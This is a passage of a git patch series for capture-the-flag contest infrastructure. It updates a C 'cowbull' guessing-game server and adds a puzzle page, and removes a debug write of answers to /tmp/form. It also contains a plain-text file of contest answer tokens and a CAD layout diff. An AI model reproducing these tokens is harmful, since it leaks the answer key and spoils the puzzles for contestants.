((g.token != cur->answer) || /* Wrong token? */ + if ((g.token != cur->answer) || /* Wrong token? */ (cur->death < now) || /* Old game? */ (cur->guesses++ > 100)) { /* Too dumb? */ /* @@ -112,8 +118,8 @@ loop(int sock) new_game(sock, now, &from, fromlen); return; } else { - uint8_t reply; - int i; + uint8_t reply = 0; + int i; for (i = 0; i < 4; i += 1) { int s = (g.guess >> (i * 4)) & 0xf; @@ -127,16 +133,22 @@ loop(int sock) reply += 0x01; } } + printf("%02x ? %02x\n", g.guess, reply); if (reply == 0x40) { - if (cur->guesses > ntokens) { - sendto(sock, tokens[cur->guesses], - strlen(tokens[cur->guesses]), 0, - (struct sockaddr *) &from, fromlen); + char *r; + + if (cur->guesses <= ntokens) { + r = tokens[cur->guesses - 1]; + } else { + r = admonishment; } + sendto(sock, r, strlen(r) - 1, 0, + (struct sockaddr *) &from, fromlen); + cur->death = 0; } else { - sendto(sock, &reply, sizeof reply, 0, (struct sockaddr *) &from, - fromlen); + sendto(sock, &reply, sizeof reply, 0, + (struct sockaddr *) &from, fromlen); } } } @@ -144,7 +156,6 @@ loop(int sock) int main(int argc, char *argv[]) { - long answer = 0; int sock; int i; struct in6_addr addr; @@ -180,10 +191,6 @@ main(int argc, char *argv[]) return EX_IOERR; } - for (i = 0; i < 4; i += 1) { - answer = (answer << 4) | ((random() % 6) + 1); - } - while (1) { loop(sock); } diff --git a/packages/cowbull/tokens.txt b/packages/cowbull/tokens.txt new file mode 100644 index 0000000..3aef74e --- /dev/null +++ b/packages/cowbull/tokens.txt @@ -0,0 +1,10 @@ +moo:1000000:xikov-fybir-zurox +moo:9:xukiv-hudyb-fesix +moo:8:xecoh-nyfyh-degix +moo:7:xihap-synik-gesix +moo:6:xegek-rulyz-polux +moo:5:xitiz-fokel-radix +moo:4:xuzif-gakit-fogyx +moo:3:xisav-nodob-besex +moo:2:xumol-peker-pibox +moo:1:xilom-zosyk-cavux diff --git a/packages/cowbull/www/moo.html b/packages/cowbull/www/moo.html new file mode 100644 index 0000000..8e0ada9 --- /dev/null +++ b/packages/cowbull/www/moo.html @@ -0,0 +1,91 @@ + + + + Welcome + + + +

Moo.

+

+ You are trying to guess a 4-nybble sequence. Each nybble will have + either 1 or 2 bits set, and the highest bit will never be set. The + game server will tell you how many nybbles in each guess were correct, + and how many had one correct bit. It does not tell you which + positions. +

+ +

The Cow Client

+ +

+ Download the client +

+ +

+ The client connects to the Cow server running on the IPv6 + address provided in argument 1. The client reads a guess + in the form of 4 ASCII numerals, and prints the number of + correct nybbles followed by the number of nybbles with one + correct bit. +

+ +

+ Here is an example of a session: +

+ +
+1111
+12
+2222
+10
+4444
+02
+4244
+12
+1244
+22
+1255
+moo:xylep-radar-nanox
+
+ +

+ You can use a program like socat to connect + the client to a logic program you write: +

+
+socat EXEC:"./cowcli fd84:b410:3441::ec6" EXEC:./mysolution
+
+ +

+ This will allow your program to read and write from stdio + of the client program. +

+ + +

The Cow Protocol

+ +

+ cowd runs on port 3782 on fd84:b410:3441::ec6. +

+ +

+ The client always sends 6 octets. To request a new session, it sends + all zeroes. Otherwise it sends the 4-octet game identifier provided + by the server, concatenated with a 2-octet guess. +

+ +

+ The server will respond with a new game identifier (4 octets) to a new + game request or if the game requested is too old. If a guess is + incorrect, the server will respond with either a 1-octet score in + which the high nybble is the number of correct nybbles in the guess, + and the low nybble is the number of nybbles in the guess with one + correct bit. If a guess is correct, the server will respond with a + token of length 5 octets or more. +

+ +

+ There are multiple tokens, one per number of guesses used, up to + some maximum number of guesses defined per server instance. +

+ + diff --git a/packages/mcp/src/puzzler.cgi.c b/packages/mcp/src/puzzler.cgi.c index fe7ff0e..6a41910 100644 --- a/packages/mcp/src/puzzler.cgi.c +++ b/packages/mcp/src/puzzler.cgi.c @@ -61,11 +61,6 @@ main(int argc, char *argv[]) char needle[400]; my_snprintf(needle, sizeof(needle), "%ld %s", points, answer); - { - FILE *f = fopen("/tmp/form", "w"); - fprintf(f, "%s\n%s\n", answer, needle); - fclose(f); - } if (! fgrepx(needle, package_path("%s/answers.txt", category))) { diff --git a/packages/rlyeh/service/rlyeh/ip.txt b/packages/rlyeh/service/rlyeh/ip.txt index 6ac003d..7acd21c 100644 --- a/packages/rlyeh/service/rlyeh/ip.txt +++ b/packages/rlyeh/service/rlyeh/ip.txt @@ -1 +1 @@ -10.0.0.28/24 +fd84:b410:3441::b33b/64 diff --git a/packages/rlyeh/service/rlyeh/run b/packages/rlyeh/service/rlyeh/run index 9b4c8c9..03e2bbf 100755 --- a/packages/rlyeh/service/rlyeh/run +++ b/packages/rlyeh/service/rlyeh/run @@ -2,7 +2,7 @@ exec 2>&1 read IP < ip.txt -ip addr add $IP label eth0:rlyeh dev eth0 +ip addr add $IP label eth0:rlyeh dev eth0 || true dir=/var/lib/ctf/rlyeh install -o nobody -d $dir From a5c74805690db3558085b24645353238ce3e9768 Mon Sep 17 00:00:00 2001 From: Neale Pickett Date: Tue, 31 Jan 2012 17:23:55 -0700 Subject: [PATCH 13/14] get cowbull working --- packages/cowbull/cowbull.mk | 6 +++++- packages/cowbull/src/Makefile | 4 ++-- 2 files changed, 7 insertions(+), 3 deletions(-) diff --git a/packages/cowbull/cowbull.mk b/packages/cowbull/cowbull.mk index 2ca432d..e435cc2 100644 --- a/packages/cowbull/cowbull.mk +++ b/packages/cowbull/cowbull.mk @@ -4,8 +4,12 @@ cowbull-install: cowbull-build mkdir -p $(COWBULL_PKGDIR) mkdir -p $(COWBULL_PKGDIR)/bin/ - $(MAKE) -C packages/cowbull/src install DESTDIR=$(CURDIR)/$(COWBULL_PKGDIR) + cp packages/cowbull/src/cowd $(COWBULL_PKGDIR)/bin + mkdir -p $(COWBULL_PKGDIR)/www/cowbull/ + cp packages/cowbull/www/moo.html $(COWBULL_PKGDIR)/www/cowbull/index.html + cp packages/cowbull/src/cowcli $(COWBULL_PKGDIR)/www/cowbull/ + $(call COPYTREE, packages/cowbull/service, $(COWBULL_PKGDIR)/service) cp packages/cowbull/tokens.txt $(COWBULL_PKGDIR)/ diff --git a/packages/cowbull/src/Makefile b/packages/cowbull/src/Makefile index a4b5489..978c8b7 100644 --- a/packages/cowbull/src/Makefile +++ b/packages/cowbull/src/Makefile @@ -1,10 +1,10 @@ DESTDIR ?= /tmp -all: cowd cowcli +build: cowd cowcli cowcli: CC=cc -install: all +install: build cp cowd cowcli $(DESTDIR)/bin/ clean: From b718971b0dd43bcd8b6a867abc1627edaf0d802f Mon Sep 17 00:00:00 2001 From: Neale Pickett Date: Wed, 1 Feb 2012 17:11:46 -0700 Subject: [PATCH 14/14] New forensic tokens, course assignments, new table diagram --- doc/2012-02-TF4/layout.dxf | 3062 +++++++++++++--------------- doc/ipv6.txt | 14 +- packages/router/service/router/run | 1 + packages/tf4/tokens.txt | 350 +++- 4 files changed, 1700 insertions(+), 1727 deletions(-) diff --git a/doc/2012-02-TF4/layout.dxf b/doc/2012-02-TF4/layout.dxf index 1d502ef..1aff3f7 100644 --- a/doc/2012-02-TF4/layout.dxf +++ b/doc/2012-02-TF4/layout.dxf @@ -2267,15 +2267,15 @@ Tables 6 ByLayer 10 -1.2216452282157677 +33.5028970401106463 20 -22.8040442600276627 +45.4999999999999929 30 0.0 11 -2.239682918395574 +41.5028970401106463 21 -22.8040442600276627 +45.4999999999999929 31 0.0 0 @@ -2295,15 +2295,15 @@ Tables 6 ByLayer 10 -2.239682918395574 +41.5028970401106463 20 -22.8040442600276627 +47.9999999999999929 30 0.0 11 -2.239682918395574 +33.5028970401106463 21 -9.7731618257261417 +47.9999999999999929 31 0.0 0 @@ -2323,15 +2323,15 @@ Tables 6 ByLayer 10 -2.239682918395574 +33.5028970401106463 20 -9.7731618257261417 +47.9999999999999929 30 0.0 11 -1.2216452282157677 +33.5028970401106463 21 -9.7731618257261417 +45.4999999999999929 31 0.0 0 @@ -2351,15 +2351,15 @@ Tables 6 ByLayer 10 -1.2216452282157677 +31.0028970401106463 20 -9.7731618257261417 +39.9999999999999929 30 0.0 11 -1.2216452282157677 +33.5028970401106463 21 -22.8040442600276627 +39.9999999999999929 31 0.0 0 @@ -2381,13 +2381,13 @@ ByLayer 10 33.5028970401106463 20 -45.4999999999999929 +39.9999999999999929 30 0.0 11 -41.5028970401106463 +33.5028970401106463 21 -45.4999999999999929 +47.9999999999999929 31 0.0 0 @@ -2407,13 +2407,13 @@ Tables 6 ByLayer 10 -41.5028970401106463 +33.5028970401106463 20 47.9999999999999929 30 0.0 11 -33.5028970401106463 +31.0028970401106463 21 47.9999999999999929 31 @@ -2435,15 +2435,15 @@ Tables 6 ByLayer 10 -33.5028970401106463 +31.0028970401106463 20 47.9999999999999929 30 0.0 11 -33.5028970401106463 +31.0028970401106463 21 -45.4999999999999929 +39.9999999999999929 31 0.0 0 @@ -2463,15 +2463,15 @@ Tables 6 ByLayer 10 -31.0028970401106463 +41.5028970401106463 20 -39.9999999999999929 +45.4999999999999929 30 0.0 11 -33.5028970401106463 +41.5028970401106463 21 -39.9999999999999929 +47.9999999999999929 31 0.0 0 @@ -2491,15 +2491,15 @@ Tables 6 ByLayer 10 -33.5028970401106463 +49.6341328907330919 20 -39.9999999999999929 +45.5 30 0.0 11 -33.5028970401106463 +41.6341328907330919 21 -47.9999999999999929 +45.4999999999999929 31 0.0 0 @@ -2519,15 +2519,15 @@ Tables 6 ByLayer 10 -33.5028970401106463 +41.6341328907330919 20 47.9999999999999929 30 0.0 11 -31.0028970401106463 +49.6341328907330919 21 -47.9999999999999929 +47.9999999999999076 31 0.0 0 @@ -2547,15 +2547,15 @@ Tables 6 ByLayer 10 -31.0028970401106463 +49.6341328907330919 20 -47.9999999999999929 +47.9999999999999076 30 0.0 11 -31.0028970401106463 +49.6341328907330919 21 -39.9999999999999929 +45.5 31 0.0 0 @@ -2575,15 +2575,15 @@ Tables 6 ByLayer 10 -41.5028970401106463 +52.1341328907330919 20 -45.4999999999999929 +39.9999999999999929 30 0.0 11 -41.5028970401106463 +49.6341328907330919 21 -47.9999999999999929 +39.9999999999999929 31 0.0 0 @@ -2605,13 +2605,13 @@ ByLayer 10 49.6341328907330919 20 -45.5 +39.9999999999999929 30 0.0 11 -41.6341328907330919 +49.6341328907330919 21 -45.4999999999999929 +47.9999999999999076 31 0.0 0 @@ -2631,15 +2631,15 @@ Tables 6 ByLayer 10 -41.6341328907330919 +49.6341328907330919 20 -47.9999999999999929 +47.9999999999999076 30 0.0 11 -49.6341328907330919 +52.1341328907330919 21 -47.9999999999999076 +47.9999999999999929 31 0.0 0 @@ -2659,15 +2659,15 @@ Tables 6 ByLayer 10 -49.6341328907330919 +52.1341328907330919 20 -47.9999999999999076 +47.9999999999999929 30 0.0 11 -49.6341328907330919 +52.1341328907330919 21 -45.5 +39.9999999999999929 31 0.0 0 @@ -2687,15 +2687,15 @@ Tables 6 ByLayer 10 -52.1341328907330919 +41.6341328907330919 20 -39.9999999999999929 +45.4999999999999929 30 0.0 11 -49.6341328907330919 +41.6341328907330919 21 -39.9999999999999929 +47.9999999999999929 31 0.0 0 @@ -2715,15 +2715,15 @@ Tables 6 ByLayer 10 -49.6341328907330919 +49.6341328907330848 20 -39.9999999999999929 +32.5549857814661436 30 0.0 11 -49.6341328907330919 +41.6341328907330919 21 -47.9999999999999076 +32.5549857814661436 31 0.0 0 @@ -2743,15 +2743,15 @@ Tables 6 ByLayer 10 -49.6341328907330919 +41.6341328907330919 20 -47.9999999999999076 +30.0549857814661472 30 0.0 11 -52.1341328907330919 +49.634132890733099 21 -47.9999999999999929 +30.0549857814661543 31 0.0 0 @@ -2771,15 +2771,15 @@ Tables 6 ByLayer 10 -52.1341328907330919 +49.634132890733099 20 -47.9999999999999929 +30.0549857814661543 30 0.0 11 -52.1341328907330919 +49.6341328907330848 21 -39.9999999999999929 +32.5549857814661436 31 0.0 0 @@ -2801,13 +2801,13 @@ ByLayer 10 41.6341328907330919 20 -45.4999999999999929 +32.5549857814661436 30 0.0 11 41.6341328907330919 21 -47.9999999999999929 +30.0549857814661472 31 0.0 0 @@ -2827,15 +2827,15 @@ Tables 6 ByLayer 10 -2.0849411894882439 +33.5028970401106463 20 -59.6814415491009882 +32.5549857814661436 30 0.0 11 -3.1274117842323661 +41.5028970401106463 21 -59.6814415491009882 +32.5549857814661436 31 0.0 0 @@ -2855,15 +2855,15 @@ Tables 6 ByLayer 10 -3.1274117842323661 +41.5028970401106463 20 -59.6814415491009882 +30.0549857814661472 30 0.0 11 -3.1274117842323661 +33.5028970401106463 21 -48.344573831258657 +30.0549857814662325 31 0.0 0 @@ -2883,15 +2883,15 @@ Tables 6 ByLayer 10 -3.1274117842323661 +33.5028970401106463 20 -48.344573831258657 +30.0549857814662325 30 0.0 11 -2.0849411894882439 +33.5028970401106463 21 -48.344573831258657 +32.5549857814661436 31 0.0 0 @@ -2911,15 +2911,15 @@ Tables 6 ByLayer 10 -2.0849411894882439 +31.0028970401106463 20 -48.344573831258657 +38.0549857814661436 30 0.0 11 -2.0849411894882439 +33.5028970401106463 21 -59.6814415491009882 +38.0549857814661436 31 0.0 0 @@ -2939,15 +2939,15 @@ Tables 6 ByLayer 10 -10.2943971230982054 +33.5028970401106463 20 -54.2084709266943463 +38.0549857814661436 30 0.0 11 -12.5096471369294644 +33.5028970401106463 21 -54.2084709266943463 +30.0549857814662325 31 0.0 0 @@ -2967,15 +2967,15 @@ Tables 6 ByLayer 10 -12.5096471369294644 +33.5028970401106463 20 -54.2084709266943463 +30.0549857814662325 30 0.0 11 -12.5096471369294644 +31.0028970401106463 21 -51.8629120885200692 +30.0549857814661472 31 0.0 0 @@ -2995,15 +2995,15 @@ Tables 6 ByLayer 10 -12.5096471369294644 +31.0028970401106463 20 -51.8629120885200692 +30.0549857814661472 30 0.0 11 -10.2943971230982054 +31.0028970401106463 21 -51.8629120885200692 +38.0549857814661436 31 0.0 0 @@ -3023,15 +3023,15 @@ Tables 6 ByLayer 10 -10.2943971230982054 +41.5028970401106463 20 -51.8629120885200692 +32.5549857814661436 30 0.0 11 -10.2943971230982054 +41.5028970401106463 21 -54.2084709266943463 +30.0549857814661472 31 0.0 0 @@ -3051,15 +3051,15 @@ Tables 6 ByLayer 10 -7.948838284923931 +77.6225737206085853 20 -16.9401471645919841 +70.0221913139695857 30 0.0 11 -10.2943971230982054 +77.6225737206085853 21 -16.9401471645919841 +62.0221913139695857 31 0.0 0 @@ -3079,15 +3079,15 @@ Tables 6 ByLayer 10 -10.2943971230982054 +77.6225737206085853 20 -16.9401471645919841 +62.0221913139695857 30 0.0 11 -10.2943971230982054 +75.1225737206085853 21 -14.5945883264177088 +62.0221913139695857 31 0.0 0 @@ -3107,15 +3107,15 @@ Tables 6 ByLayer 10 -10.2943971230982054 +75.1225737206085853 20 -14.5945883264177088 +62.0221913139695857 30 0.0 11 -7.948838284923931 +75.1225737206085853 21 -14.5945883264177088 +70.0221913139695857 31 0.0 0 @@ -3135,123 +3135,27 @@ Tables 6 ByLayer 10 -7.948838284923931 +75.1225737206085853 20 -14.5945883264177088 +70.0221913139695857 30 0.0 11 -7.948838284923931 +77.6225737206085853 21 -16.9401471645919841 +70.0221913139695857 31 0.0 0 -CIRCLE +LINE 5 85 100 AcDbEntity 100 -AcDbCircle +AcDbLine 8 -Tables - 62 -256 -370 --1 - 6 -ByLayer - 10 -38.3968291839557594 - 20 -10.9776420746888093 - 30 -0.0 - 40 -4.0 - 0 -CIRCLE - 5 -86 -100 -AcDbEntity -100 -AcDbCircle - 8 -Tables - 62 -256 -370 --1 - 6 -ByLayer - 10 -22.7190487551867406 - 20 -10.7740345366528434 - 30 -0.0 - 40 -4.0 - 0 -CIRCLE - 5 -87 -100 -AcDbEntity -100 -AcDbCircle - 8 -Tables - 62 -256 -370 --1 - 6 -ByLayer - 10 -63.8477714384509198 - 20 -23.1940943568464917 - 30 -0.0 - 40 -4.0 - 0 -CIRCLE - 5 -88 -100 -AcDbEntity -100 -AcDbCircle - 8 -Tables - 62 -256 -370 --1 - 6 -ByLayer - 10 -46.9483457814661307 - 20 -23.1940943568464846 - 30 -0.0 - 40 -4.0 - 0 -CIRCLE - 5 -89 -100 -AcDbEntity -100 -AcDbCircle - 8 -Tables +Network 62 256 370 @@ -3264,18 +3168,106 @@ ByLayer 23.1940943568464739 30 0.0 - 40 -4.0 + 11 +38.3968291839557594 + 21 +10.9776420746888093 + 31 +0.0 0 -CIRCLE +LINE 5 -8A +86 100 AcDbEntity 100 -AcDbCircle +AcDbLine 8 -Tables +Network + 62 +256 +370 +-1 + 6 +ByLayer + 10 +38.3968291839557594 + 20 +10.9776420746888093 + 30 +0.0 + 11 +22.7190487551867406 + 21 +10.7740345366528434 + 31 +0.0 + 0 +LINE + 5 +87 +100 +AcDbEntity +100 +AcDbLine + 8 +Network + 62 +256 +370 +-1 + 6 +ByLayer + 10 +46.9483457814661307 + 20 +23.1940943568464846 + 30 +0.0 + 11 +63.8477714384509198 + 21 +23.1940943568464917 + 31 +0.0 + 0 +LINE + 5 +88 +100 +AcDbEntity +100 +AcDbLine + 8 +Network + 62 +256 +370 +-1 + 6 +ByLayer + 10 +46.9483457814661307 + 20 +23.1940943568464846 + 30 +0.0 + 11 +54.0746096127247711 + 21 +10.6608906915629422 + 31 +0.0 + 0 +LINE + 5 +89 +100 +AcDbEntity +100 +AcDbLine + 8 +Network 62 256 370 @@ -3288,18 +3280,22 @@ ByLayer 10.6608906915629422 30 0.0 - 40 -4.0 + 11 +70.7704277316736068 + 21 +11.0590850899031814 + 31 +0.0 0 -CIRCLE +LINE 5 -8B +8A 100 AcDbEntity 100 -AcDbCircle +AcDbLine 8 -Tables +Network 62 256 370 @@ -3307,13 +3303,45 @@ Tables 6 ByLayer 10 -70.7704277316736068 +51.0482646749654236 20 -11.0590850899031814 +60.0 30 0.0 - 40 -4.0 + 11 +67.0482646749654236 + 21 +60.0 + 31 +0.0 + 0 +LINE + 5 +8B +100 +AcDbEntity +100 +AcDbLine + 8 +Network + 62 +256 +370 +-1 + 6 +ByLayer + 10 +51.0482646749654236 + 20 +60.0 + 30 +0.0 + 11 +43.0482646749654236 + 21 +74.0 + 31 +0.0 0 LINE 5 @@ -3323,7 +3351,7 @@ AcDbEntity 100 AcDbLine 8 -Tables +Network 62 256 370 @@ -3331,15 +3359,15 @@ Tables 6 ByLayer 10 -49.6341328907330848 +43.0482646749654236 20 -32.5549857814661436 +74.0 30 0.0 11 -41.6341328907330919 +59.0482646749654236 21 -32.5549857814661436 +74.0 31 0.0 0 @@ -3351,7 +3379,7 @@ AcDbEntity 100 AcDbLine 8 -Tables +Network 62 256 370 @@ -3359,15 +3387,15 @@ Tables 6 ByLayer 10 -41.6341328907330919 +35.0482646749654236 20 -30.0549857814661472 +60.0 30 0.0 11 -49.634132890733099 +27.0482646749654201 21 -30.0549857814661543 +74.0 31 0.0 0 @@ -3379,7 +3407,7 @@ AcDbEntity 100 AcDbLine 8 -Tables +Network 62 256 370 @@ -3387,15 +3415,15 @@ Tables 6 ByLayer 10 -49.634132890733099 +27.0482646749654201 20 -30.0549857814661543 +74.0 30 0.0 11 -49.6341328907330848 +11.0482646749654201 21 -32.5549857814661436 +74.0 31 0.0 0 @@ -3407,7 +3435,7 @@ AcDbEntity 100 AcDbLine 8 -Tables +Network 62 256 370 @@ -3415,15 +3443,15 @@ Tables 6 ByLayer 10 -41.6341328907330919 +35.0482646749654236 20 -32.5549857814661436 +60.0 30 0.0 11 -41.6341328907330919 +19.0482646749654201 21 -30.0549857814661472 +60.0 31 0.0 0 @@ -3433,1366 +3461,6 @@ LINE 100 AcDbEntity 100 -AcDbLine - 8 -Tables - 62 -256 -370 --1 - 6 -ByLayer - 10 -33.5028970401106463 - 20 -32.5549857814661436 - 30 -0.0 - 11 -41.5028970401106463 - 21 -32.5549857814661436 - 31 -0.0 - 0 -LINE - 5 -91 -100 -AcDbEntity -100 -AcDbLine - 8 -Tables - 62 -256 -370 --1 - 6 -ByLayer - 10 -41.5028970401106463 - 20 -30.0549857814661472 - 30 -0.0 - 11 -33.5028970401106463 - 21 -30.0549857814662325 - 31 -0.0 - 0 -LINE - 5 -92 -100 -AcDbEntity -100 -AcDbLine - 8 -Tables - 62 -256 -370 --1 - 6 -ByLayer - 10 -33.5028970401106463 - 20 -30.0549857814662325 - 30 -0.0 - 11 -33.5028970401106463 - 21 -32.5549857814661436 - 31 -0.0 - 0 -LINE - 5 -93 -100 -AcDbEntity -100 -AcDbLine - 8 -Tables - 62 -256 -370 --1 - 6 -ByLayer - 10 -31.0028970401106463 - 20 -38.0549857814661436 - 30 -0.0 - 11 -33.5028970401106463 - 21 -38.0549857814661436 - 31 -0.0 - 0 -LINE - 5 -94 -100 -AcDbEntity -100 -AcDbLine - 8 -Tables - 62 -256 -370 --1 - 6 -ByLayer - 10 -33.5028970401106463 - 20 -38.0549857814661436 - 30 -0.0 - 11 -33.5028970401106463 - 21 -30.0549857814662325 - 31 -0.0 - 0 -LINE - 5 -95 -100 -AcDbEntity -100 -AcDbLine - 8 -Tables - 62 -256 -370 --1 - 6 -ByLayer - 10 -33.5028970401106463 - 20 -30.0549857814662325 - 30 -0.0 - 11 -31.0028970401106463 - 21 -30.0549857814661472 - 31 -0.0 - 0 -LINE - 5 -96 -100 -AcDbEntity -100 -AcDbLine - 8 -Tables - 62 -256 -370 --1 - 6 -ByLayer - 10 -31.0028970401106463 - 20 -30.0549857814661472 - 30 -0.0 - 11 -31.0028970401106463 - 21 -38.0549857814661436 - 31 -0.0 - 0 -LINE - 5 -97 -100 -AcDbEntity -100 -AcDbLine - 8 -Tables - 62 -256 -370 --1 - 6 -ByLayer - 10 -41.5028970401106463 - 20 -32.5549857814661436 - 30 -0.0 - 11 -41.5028970401106463 - 21 -30.0549857814661472 - 31 -0.0 - 0 -CIRCLE - 5 -98 -100 -AcDbEntity -100 -AcDbCircle - 8 -Tables - 62 -256 -370 --1 - 6 -ByLayer - 10 -19.0482646749654201 - 20 -60.0 - 30 -0.0 - 40 -4.0 - 0 -CIRCLE - 5 -99 -100 -AcDbEntity -100 -AcDbCircle - 8 -Tables - 62 -256 -370 --1 - 6 -ByLayer - 10 -11.0482646749654201 - 20 -74.0 - 30 -0.0 - 40 -4.0 - 0 -CIRCLE - 5 -9A -100 -AcDbEntity -100 -AcDbCircle - 8 -Tables - 62 -256 -370 --1 - 6 -ByLayer - 10 -35.0482646749654236 - 20 -60.0 - 30 -0.0 - 40 -4.0 - 0 -CIRCLE - 5 -9B -100 -AcDbEntity -100 -AcDbCircle - 8 -Tables - 62 -256 -370 --1 - 6 -ByLayer - 10 -51.0482646749654236 - 20 -60.0 - 30 -0.0 - 40 -4.0 - 0 -CIRCLE - 5 -9C -100 -AcDbEntity -100 -AcDbCircle - 8 -Tables - 62 -256 -370 --1 - 6 -ByLayer - 10 -43.0482646749654236 - 20 -74.0 - 30 -0.0 - 40 -4.0 - 0 -CIRCLE - 5 -9D -100 -AcDbEntity -100 -AcDbCircle - 8 -Tables - 62 -256 -370 --1 - 6 -ByLayer - 10 -27.0482646749654201 - 20 -74.0 - 30 -0.0 - 40 -4.0 - 0 -CIRCLE - 5 -9E -100 -AcDbEntity -100 -AcDbCircle - 8 -Tables - 62 -256 -370 --1 - 6 -ByLayer - 10 -59.0482646749654236 - 20 -74.0 - 30 -0.0 - 40 -4.0 - 0 -CIRCLE - 5 -9F -100 -AcDbEntity -100 -AcDbCircle - 8 -Tables - 62 -256 -370 --1 - 6 -ByLayer - 10 -67.0482646749654236 - 20 -60.0 - 30 -0.0 - 40 -4.0 - 0 -CIRCLE - 5 -A0 -100 -AcDbEntity -100 -AcDbCircle - 8 -Tables - 62 -256 -370 --1 - 6 -ByLayer - 10 -12.7504236929460717 - 20 -27.3639767358229626 - 30 -0.0 - 40 -4.0 - 0 -LINE - 5 -A1 -100 -AcDbEntity -100 -AcDbLine - 8 -Tables - 62 -256 -370 --1 - 6 -ByLayer - 10 -77.7943681327801073 - 20 -62.0221913139695857 - 30 -0.0 - 11 -79.7943681327801073 - 21 -62.0221913139695857 - 31 -0.0 - 0 -LINE - 5 -A2 -100 -AcDbEntity -100 -AcDbLine - 8 -Tables - 62 -256 -370 --1 - 6 -ByLayer - 10 -79.7943681327801073 - 20 -62.0221913139695857 - 30 -0.0 - 11 -79.7943681327801073 - 21 -60.0221913139695857 - 31 -0.0 - 0 -LINE - 5 -A3 -100 -AcDbEntity -100 -AcDbLine - 8 -Tables - 62 -256 -370 --1 - 6 -ByLayer - 10 -79.7943681327801073 - 20 -60.0221913139695857 - 30 -0.0 - 11 -77.7943681327801073 - 21 -60.0221913139695857 - 31 -0.0 - 0 -LINE - 5 -A4 -100 -AcDbEntity -100 -AcDbLine - 8 -Tables - 62 -256 -370 --1 - 6 -ByLayer - 10 -77.7943681327801073 - 20 -60.0221913139695857 - 30 -0.0 - 11 -77.7943681327801073 - 21 -62.0221913139695857 - 31 -0.0 - 0 -LINE - 5 -A5 -100 -AcDbEntity -100 -AcDbLine - 8 -Tables - 62 -256 -370 --1 - 6 -ByLayer - 10 -77.6225737206085853 - 20 -70.0221913139695857 - 30 -0.0 - 11 -77.6225737206085853 - 21 -62.0221913139695857 - 31 -0.0 - 0 -LINE - 5 -A6 -100 -AcDbEntity -100 -AcDbLine - 8 -Tables - 62 -256 -370 --1 - 6 -ByLayer - 10 -77.6225737206085853 - 20 -62.0221913139695857 - 30 -0.0 - 11 -75.1225737206085853 - 21 -62.0221913139695857 - 31 -0.0 - 0 -LINE - 5 -A7 -100 -AcDbEntity -100 -AcDbLine - 8 -Tables - 62 -256 -370 --1 - 6 -ByLayer - 10 -75.1225737206085853 - 20 -62.0221913139695857 - 30 -0.0 - 11 -75.1225737206085853 - 21 -70.0221913139695857 - 31 -0.0 - 0 -LINE - 5 -A8 -100 -AcDbEntity -100 -AcDbLine - 8 -Tables - 62 -256 -370 --1 - 6 -ByLayer - 10 -75.1225737206085853 - 20 -70.0221913139695857 - 30 -0.0 - 11 -77.6225737206085853 - 21 -70.0221913139695857 - 31 -0.0 - 0 -CIRCLE - 5 -A9 -100 -AcDbEntity -100 -AcDbCircle - 8 -Tables - 62 -256 -370 --1 - 6 -ByLayer - 10 -61.5241323374827047 - 20 -46.0 - 30 -0.0 - 40 -4.0 - 0 -LINE - 5 -AA -100 -AcDbEntity -100 -AcDbLine - 8 -Tables - 62 -256 -370 --1 - 6 -ByLayer - 10 -68.9822338865836997 - 20 -44.8262355739972378 - 30 -0.0 - 11 -70.0002715767635095 - 21 -44.8262355739972378 - 31 -0.0 - 0 -LINE - 5 -AB -100 -AcDbEntity -100 -AcDbLine - 8 -Tables - 62 -256 -370 --1 - 6 -ByLayer - 10 -70.0002715767635095 - 20 -44.8262355739972378 - 30 -0.0 - 11 -70.0002715767635095 - 21 -31.7953531396957203 - 31 -0.0 - 0 -LINE - 5 -AC -100 -AcDbEntity -100 -AcDbLine - 8 -Tables - 62 -256 -370 --1 - 6 -ByLayer - 10 -70.0002715767635095 - 20 -31.7953531396957203 - 30 -0.0 - 11 -68.9822338865836997 - 21 -31.7953531396957203 - 31 -0.0 - 0 -LINE - 5 -AD -100 -AcDbEntity -100 -AcDbLine - 8 -Tables - 62 -256 -370 --1 - 6 -ByLayer - 10 -68.9822338865836997 - 20 -31.7953531396957203 - 30 -0.0 - 11 -68.9822338865836997 - 21 -44.8262355739972378 - 31 -0.0 - 0 -LINE - 5 -AE -100 -AcDbEntity -100 -AcDbLine - 8 -Tables - 62 -256 -370 --1 - 6 -ByLayer - 10 -62.0270003872752582 - 20 -35.834926694329198 - 30 -0.0 - 11 -64.3725592254495353 - 21 -35.834926694329198 - 31 -0.0 - 0 -LINE - 5 -AF -100 -AcDbEntity -100 -AcDbLine - 8 -Tables - 62 -256 -370 --1 - 6 -ByLayer - 10 -64.3725592254495353 - 20 -35.834926694329198 - 30 -0.0 - 11 -64.3725592254495353 - 21 -37.9198678838174388 - 31 -0.0 - 0 -LINE - 5 -B0 -100 -AcDbEntity -100 -AcDbLine - 8 -Tables - 62 -256 -370 --1 - 6 -ByLayer - 10 -64.3725592254495353 - 20 -37.9198678838174388 - 30 -0.0 - 11 -62.0270003872752582 - 21 -37.9198678838174388 - 31 -0.0 - 0 -LINE - 5 -B1 -100 -AcDbEntity -100 -AcDbLine - 8 -Tables - 62 -256 -370 --1 - 6 -ByLayer - 10 -62.0270003872752582 - 20 -37.9198678838174388 - 30 -0.0 - 11 -62.0270003872752582 - 21 -35.834926694329198 - 31 -0.0 - 0 -LINE - 5 -B2 -100 -AcDbEntity -100 -AcDbLine - 8 -Network - 62 -4 -370 --1 - 6 -ByLayer - 10 -61.636073914246218 - 20 -45.8687061687413689 - 30 -0.0 - 11 -63.1997798063624003 - 21 -36.7470884647303038 - 31 -0.0 - 0 -LINE - 5 -B3 -100 -AcDbEntity -100 -AcDbLine - 8 -Network - 62 -4 -370 --1 - 6 -ByLayer - 10 -19.0250883540802285 - 20 -60.0723680221300356 - 30 -0.0 - 11 -11.4671765421853422 - 21 -52.775073858921175 - 31 -0.0 - 0 -LINE - 5 -B4 -100 -AcDbEntity -100 -AcDbLine - 8 -Network - 62 -4 -370 --1 - 6 -ByLayer - 10 -12.7702647856154954 - 20 -27.1042354633471732 - 30 -0.0 - 11 -9.1216177040110686 - 21 -15.3764412724757999 - 31 -0.0 - 0 -LINE - 5 -B5 -100 -AcDbEntity -100 -AcDbLine - 8 -Network - 62 -256 -370 --1 - 6 -ByLayer - 10 -30.8633502766251908 - 20 -23.1940943568464739 - 30 -0.0 - 11 -38.3968291839557594 - 21 -10.9776420746888093 - 31 -0.0 - 0 -LINE - 5 -B6 -100 -AcDbEntity -100 -AcDbLine - 8 -Network - 62 -256 -370 --1 - 6 -ByLayer - 